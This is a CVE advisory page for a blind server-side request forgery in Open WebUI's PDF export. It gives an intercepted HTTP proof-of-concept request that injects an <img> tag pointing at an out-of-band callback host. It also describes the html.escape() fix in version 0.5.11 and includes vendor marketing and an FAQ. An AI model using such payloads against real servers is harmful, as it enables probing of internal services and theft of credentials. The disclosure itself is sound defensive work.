Summary
Blind server side request forgery (SSRF) via the PDF generate function.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below.
PoC
Start a chat and export the PDF:
Intercept the request and insert an <img> tag into the title:
POST /api/v1/utils/pdf HTTP/2
Host: domain.local
//Some headers removed
Content-Type: application/json
Content-Length: 541
Te: trailers
{"title":"<img src='https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com' />","messages":[{"id":"81f24589-384d-431c-a26c-5cd3382ac941","parentId":null,"childrenIds":["0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e"],"role":"user","content":"hallo","timestamp":1736932102,"models":["gpt-4o-POC"]},{"parentId":"81f24589-384d-431c-a26c-5cd3382ac941","id":"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e","childrenIds":[],"role":"assistant","content":"Hallo! Wie kann ich Ihnen helfen?","model":"gpt-4o-POC","modelName":"gpt-4o-POC","modelIdx":0,"userContext":null,"timestamp":1736932103,"done":true}]}
A HTTPS callback was received at https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com.
Resolution
Fixed in commit 167c8bf00, first released in v0.5.11 (2025-02). The fix wraps every user-controllable field that flows into the PDF HTML template (title, content, role, model, formatted date) in html.escape() before the template f-string is fed to fpdf2.write_html(). The PoC payload <img src='...' /> is escaped to <img src='...' /> and rendered as literal text by fpdf2, with no HTML parsing and no outbound request. Users on >= 0.5.11 are not affected.
Impact
A user can force server-side GET requests. During the available testing time, no method was found to read the responses (Blind SSRF). Nonetheless, this should be prevented, as an attacker could enumerate internal assets through response delays and trigger arbitrary GET requests.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-45347 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.11); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-45347? CVE-2026-45347 is a medium-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions < 0.5.11. It is fixed in 0.5.11. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-45347? CVE-2026-45347 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of open-webui are affected by CVE-2026-45347? open-webui (pip) versions < 0.5.11 is affected.
- Is there a fix for CVE-2026-45347? Yes. CVE-2026-45347 is fixed in 0.5.11. Upgrade to this version or later.
- Is CVE-2026-45347 exploitable, and should I be worried? Whether CVE-2026-45347 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45347 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45347? Upgrade
open-webuito 0.5.11 or later.